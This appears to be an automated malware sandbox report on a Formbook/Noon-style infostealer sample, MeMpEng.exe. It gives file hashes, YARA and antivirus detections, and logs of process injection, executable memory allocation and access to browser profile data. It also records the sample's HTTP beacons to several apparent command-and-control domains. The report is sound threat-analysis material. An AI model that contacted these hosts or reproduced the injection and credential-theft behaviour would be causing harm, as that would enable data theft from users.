popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

MeMpEng.exe

Formbook Generic Malware Malicious Library UPX PE File DLL OS Processor Check PE32
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6401 Sept. 2, 2024, 10:12 a.m. Sept. 2, 2024, 10:18 a.m.
Size 1.2MB
Type PE32 executable (GUI) Intel 80386, for MS Windows
MD5 2de33a20655435a626ae19973654e95c
SHA256 38325ca778199958ba35ed9ac9a4693ee0ae6fdc8b1b415258de36ac81fcfa98
CRC32 0C79453A
ssdeep 24576:bqDEvCTbMWu7rQYlBQcBiT6rprG8aWp08C2Ufeqmv5:bTvC/MTQYxsWR7aWbFeeqm
Yara
  • Malicious_Library_Zero - Malicious_Library
  • PE_Header_Zero - PE File Signature
  • IsPE32 - (no description)
  • Generic_Malware_Zero - Generic Malware
  • UPX_Zero - UPX packed file
  • OS_Processor_Check_Zero - OS Processor Check

Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0
request POST http://www.2886080.xyz/eyiz/
request GET http://www.2886080.xyz/eyiz/?FhSMQ3HV=XQ7d8vWNf2bTOhYYL6UJlqYAXy7Rg8V7tb7nan5iZXoOR23qJ7xYi6zjP0ZZPC1qNGRbW38doA+CklQhfBW16OH9GbU74opfrouVpsjlwzkQhOIIL+clvr6SJ5uB6xxabU5X5cQ=&5CL=gie-nJmkplkdJ7
request GET http://www.sqlite.org/2022/sqlite-dll-win32-x86-3380000.zip
request POST http://www.foundation-repair.biz/5l7s/
request GET http://www.foundation-repair.biz/5l7s/?FhSMQ3HV=5i9IxHyDCONgw46qIHGeUvwlYzbtgN8gQUqUIjK6jcHsfbLgiJ2s3wDRXgbc+h/bICwzf3ddx8E1HmjHsyEg1i4ki39GGAPq3qClCRMeu9QIBTg/A11C17kmPPIEN81gm2sAq9Q=&5CL=gie-nJmkplkdJ7
request POST http://www.51cc.top/7i54/
request GET http://www.51cc.top/7i54/?FhSMQ3HV=SgV//QM+kZDZSmca7ISHR4U/9iG4TLn30ssUgf4MDLRPguhpDtuGIpE5eby1mFBEyx9n6ho2rfFD9SDq3nlePS+8rBqg/0cGFsBGWXu5QF07X9CUnUPZux9wfWAAZevyIeAs5Qc=&5CL=gie-nJmkplkdJ7
request POST http://www.zenzip.xyz/9pad/
request GET http://www.zenzip.xyz/9pad/?FhSMQ3HV=1a5ATRlanZ3ATSTMsvfkUs0ciM8umoJS8y8kT4HdOCMJyW9sS8tB9dhHCXeYKtsB5QysC2Hg2jCPifAM2S09CoHR88nq9oCTqozYG6NauxPM4LjmZuBJG1m7wEgFKI64QDVX+78=&5CL=gie-nJmkplkdJ7
request POST http://www.meetfactory.biz/xoqw/
request GET http://www.meetfactory.biz/xoqw/?FhSMQ3HV=IHXCkUsJunCVOO2Hwv8L1/jebUXenMysZsXgVBD8KQgj+TIAwNGDK5EWhUbKXzAU4KMQODjr0cxiOqiC8Z91HBWngaVBBi9zW0XdtSpa8XSCv8AOb3sJWenXQ9ufn4pifwUOwgs=&5CL=gie-nJmkplkdJ7
request POST http://www.onlytradez.club/k1y3/
request GET http://www.onlytradez.club/k1y3/?FhSMQ3HV=J7VJwuuG4HUA4bFTkbQEdxkpMEpXPBCRRs+F1x6QwwkcPlqAPKpQJUUQrtsDqb7Q+tjdIUGQwp4fGorxq2J//mB+PqSTwbyLcRM9dR0EDrcHS/LNmgUR990rINKp1m+e5VNnNrk=&5CL=gie-nJmkplkdJ7
request POST http://www.32wxd.top/fqtd/
request GET http://www.32wxd.top/fqtd/?FhSMQ3HV=NOGaE4zNJ3vPzwJVq9flFF94in2IcnN0bsRklEYFuNltL64f812fYl1xoipxw6mqFzyE6nPBnWGndAD5Tl5FPYyUit02KiWxxW2zK2p9R7C5MnzH/2vAyX3OoZI/vgfMfT+cSXI=&5CL=gie-nJmkplkdJ7
request POST http://www.d71dg.top/qbiu/
request GET http://www.d71dg.top/qbiu/?FhSMQ3HV=cpFY4442L+Bmta8QONEKHiouDvWOZNVLDBDtb0iNjVMT9Lz9+WHyspHM09lzzQ6O3A+WaZO+gSWm6Q36us29ksmtCzg/K1sgttxXiQs+/4tLnxfFR1YWTQNZTBuvIfutPAZp0QU=&5CL=gie-nJmkplkdJ7
request POST http://www.inmotarget.online/f94d/
request GET http://www.inmotarget.online/f94d/?FhSMQ3HV=qXxH1TkJqyQLN7K67UolPOrNVrH3EkVnBHKOJBevZlWzyIWqOcopXSkjMgAVQAiVcEwXsA2AXYdRBAjRF8/XmlFRLYiZtr82nLJKSk2mfCIs3NsTyuUwAMniQ4mBWHwlcbK0rUc=&5CL=gie-nJmkplkdJ7
request POST http://www.2886080.xyz/eyiz/
request POST http://www.foundation-repair.biz/5l7s/
request POST http://www.51cc.top/7i54/
request POST http://www.zenzip.xyz/9pad/
request POST http://www.meetfactory.biz/xoqw/
request POST http://www.onlytradez.club/k1y3/
request POST http://www.32wxd.top/fqtd/
request POST http://www.d71dg.top/qbiu/
request POST http://www.inmotarget.online/f94d/
domain www.d71dg.top description Generic top level domain TLD
domain www.51cc.top description Generic top level domain TLD
domain www.32wxd.top description Generic top level domain TLD
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 2644
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x734c2000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2644
region_size: 16384
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00380000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2744
region_size: 3158016
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00900000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2744
region_size: 143360
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x004e0000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2828
region_size: 3158016
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026a0000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2828
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x75bf1000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2828
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x75591000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2828
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x764b1000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2828
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x75831000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2828
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73941000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2828
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73fa1000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2828
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73771000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2828
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x732a1000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2828
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72c71000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2828
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x75941000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2828
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73271000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2828
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x75941000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2828
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x61ece000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1452
region_size: 65536
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000004700000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0
description odbcconf.exe tried to sleep 164 seconds, actually delayed analysis time by 164 seconds
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\
file C:\Users\test22\AppData\Local\Chromium\User Data
file C:\Users\test22\AppData\Local\MapleStudio\ChromePlus\User Data
file C:\Users\test22\AppData\Local\Yandex\YandexBrowser\User Data
file C:\Users\test22\AppData\Local\Temp\sqlite3.dll
file C:\Users\test22\AppData\Local\Temp\sqlite3.dll
section {u'size_of_data': u'0x00066200', u'virtual_address': u'0x000d4000', u'entropy': 7.9101989116915625, u'name': u'.rsrc', u'virtual_size': u'0x00066138'} entropy 7.91019891169 description A section with a high entropy has been found
entropy 0.322669826224 description Overall entropy of this PE file is high
Time & API Arguments Status Return Repeated

CreateProcessInternalW

 thread_identifier: 2748
thread_handle: 0x0000013c
process_identifier: 2744
current_directory:
filepath: C:\Windows\System32\svchost.exe
track: 1
command_line: "C:\Users\test22\AppData\Local\Temp\MeMpEng.exe"
filepath_r: C:\Windows\System32\svchost.exe
stack_pivoted: 0
creation_flags: 134217732 (CREATE_NO_WINDOW|CREATE_SUSPENDED)
inherit_handles: 0
process_handle: 0x00000140
1 1 0
file C:\Users\test22\AppData\Local\AVAST Software\Browser\User Data
file C:\Users\test22\AppData\Local\AVG\Browser\User Data
Process injection Process 2744 manipulating memory of non-child process 988
Time & API Arguments Status Return Repeated

NtMapViewOfSection

 section_handle: 0x0000004c
process_identifier: 988
commit_size: 0
win32_protect: 64 (PAGE_EXECUTE_READWRITE)
buffer:
base_address: 0x04250000
allocation_type: 0 ()
section_offset: 0
view_size: 7327744
process_handle: 0x00000050
1 0 0
Process injection Process 2644 called NtSetContextThread to modify thread in remote process 2744
Process injection Process 2744 called NtSetContextThread to modify thread in remote process 2828
Time & API Arguments Status Return Repeated

NtSetContextThread

 registers.eip: 1995571652
registers.esp: 2816452
registers.edi: 0
registers.eax: 4199552
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x0000013c
process_identifier: 2744
1 0 0

NtSetContextThread

 registers.eip: 1995571652
registers.esp: 2751996
registers.edi: 0
registers.eax: 629776
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x00000064
process_identifier: 2828
1 0 0
Bkav W32.AIDetectMalware
Lionic Trojan.Win64.Injects.ts93
Elastic malicious (high confidence)
Cynet Malicious (score: 99)
Skyhigh BehavesLike.Win32.Genericuh.tc
ALYac Trojan.GenericKD.73969728
Cylance Unsafe
VIPRE Trojan.GenericKD.73969728
Sangfor Trojan.Win32.Autoit.Vp3f
K7AntiVirus Trojan ( 005b9cf31 )
BitDefender Trojan.GenericKD.73969728
K7GW Trojan ( 005b9cf31 )
Arcabit Trojan.Generic.D468B040
VirIT Trojan.Win32.AutoIt_Heur.A
Symantec ML.Attribute.HighConfidence
ESET-NOD32 a variant of Win32/Injector.Autoit.GHL
McAfee Artemis!2DE33A206554
Avast Win32:Malware-gen
Kaspersky Trojan-Spy.Win32.Noon.bhvy
Alibaba TrojanSpy:Win32/AutoitInject.49cd9a3c
MicroWorld-eScan Trojan.GenericKD.73969728
Emsisoft Trojan.GenericKD.73969728 (B)
F-Secure Trojan.TR/AutoIt.uuojm
McAfeeD Real Protect-LS!2DE33A206554
FireEye Generic.mg.2de33a20655435a6
Sophos Troj/AutoIt-DGJ
Webroot W32.Trojan.Gen
Google Detected
Avira TR/AutoIt.uuojm
MAX malware (ai score=82)
Kingsoft Win32.Troj.Unknown.a
Microsoft Trojan:Win32/AutoitInject.SAV!MTB
ZoneAlarm Trojan-Spy.Win32.Noon.bhvy
GData Trojan.GenericKD.73969728
Varist W32/Autoit.APO.gen!Eldorado
DeepInstinct MALICIOUS
VBA32 Trojan.Autoit.F
Malwarebytes Trojan.Injector.AutoIt
Ikarus Trojan.Win32.Injector
Panda Trj/Genetic.gen
TrendMicro-HouseCall TROJ_GEN.R002H01HU24
Tencent Win32.Trojan.Malware.juzi
MaxSecure Trojan.Malware.300983.susgen
Fortinet AutoIt/Injector.GGJ!tr
AVG Win32:Malware-gen
Paloalto generic.ml
CrowdStrike win/malicious_confidence_100% (W)
alibabacloud Trojan:Win/AutoitInject.SMN2XJC